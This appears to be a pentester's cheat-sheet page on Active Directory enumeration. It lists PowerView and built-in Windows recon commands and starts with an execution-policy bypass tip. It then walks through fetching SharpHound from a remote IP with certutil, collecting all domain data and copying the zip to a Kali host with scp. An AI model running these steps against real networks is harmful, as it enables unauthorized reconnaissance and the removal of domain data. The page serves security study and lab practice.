Skip to main content

AD Enumeartion Manual & Automated


🧠 What is the Enumeartion Process​

Give us the lowdown — what is this attack and why should anyone care?

Explain the core idea behind the attack, where it fits in the kill chain, and what makes it dangerous or interesting.


tip

Before starting enumeartion make sure to bypass powershell execution using command powershell -ep bypass. Then you'll be able to import scripts and execute them.

System Enumeartion​


PowerView Enumeartion​

User Enumeartion​

  1. Seraching for every user detail
 Get-NetUser
  1. Filtering the common names
Get-NetUser | select cn
  1. Specific user Info
Get-NetUser -UserName pawan
  1. Current Logged in Users
Invoke-UserHunter

Domain Enumeartion​

  1. Domain Info
Get-NetDomain
  1. Domain Controller Info
Get-NetDomainController

Manual OS and Active Directory Enumeration - Windows

Enumeration AreaPurposeCommand
OS VersionBasic versionver
Detailed version & buildsysteminfo | findstr /B /C:"OS"
Windows Editionsysteminfo | findstr /C:"OS Name"
Service Packsysteminfo | findstr /C:"Service Pack"
Architectureecho %PROCESSOR_ARCHITECTURE%
Boot timesysteminfo | find "System Boot Time"
Uptimenet statistics workstation
BIOS Infowmic bios get manufacturer,version
Hardware Modelwmic computersystem get model,name
Hostname & DomainHostnamehostname
Domain/Workgroupsysteminfo | findstr /C:"Domain"
Domain joinednet config workstation
Computer nameecho %COMPUTERNAME%
Domain nameecho %USERDOMAIN%
User InfoCurrent userwhoami
Privilegeswhoami /priv
Groupswhoami /groups
Full user detailwhoami /all
All local usersnet users
Patch InfoInstalled patcheswmic qfe list brief /format:table
(PowerShell) HotfixesGet-HotFix
System ConfigsServicessc query or net start
Running processestasklist
Scheduled tasksschtasks /query /fo LIST /v
Environment variablesset
Network & SessionsIP Configurationipconfig /all
Logged-in usersqwinsta or query user
Shared resourcesnet share
Active Directory EnumerationComputer InfoGet-NetComputer (via PowerView)
List Domain UsersGet-NetUser (via PowerView)
List Groups in ADGet-NetGroup (via PowerView)
Domain TrustsGet-NetDomainTrust (via PowerView)
Domain InfoGet-NetDomain (via PowerView)
Find Domain ControllersGet-NetDomainController (via PowerView)
Get Active Directory SitesGet-NetADSite (via PowerView)
List Domain ControllersGet-ADDomainController -Filter *
Check for Unconstrained DelegationGet-NetUnconstrainedDelegation (via PowerView)
Kerberos Tickets InformationGet-Ticket (via PowerView)
Active Directory SharesGet-NetShare (via PowerView)
Enumeration of GPOsGet-NetGPO (via PowerView)


Autmated Enumeation​

Using Sharphound to Collect data and BloodHound to Analyze data

Using SharpHuond​

Step 1: Download SharpHound in Windows Machine

certutil -urlcache -split -f http://192.168.45.222/SharpHound.ps1

Step 2: Import Sharphound to the PowerShell

Import-Module .\Sharphound.ps1

Step 3: Invoke BloodHound for data collection

Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\pawan\Desktop\ -OutputPrefix "Pawan_audit"

Selecting -CollectionMethod as All to Collect Everything, You can check more info using command Get-Gelp Invoke-BloodHound .

Step 4: Get the audit zip file to your kali machine.

Enable ssh in kali and then push it , if there are no other options available.

scp "C:\path\to\local\file.txt" kali@<Kali_IP_Address>:/home/kali/Documents/directory/

Step 5 : Start neo4j in kali

 sudo neo4j start

Step 6: Start BlodHound

sudo bloodhound

Step 7:

Upload your audit.zip file in the blood hound and analyze the result.


tip

Do check the version compability of the sharphound and Bloodhound that you use. SharpHound Version 2.0.0 Is compatible with BloodHound Version 4.3.1 . Or Try using Sharphound with the installed Bloodhound /usr/lib/bloodhound/resources/app/Collectors .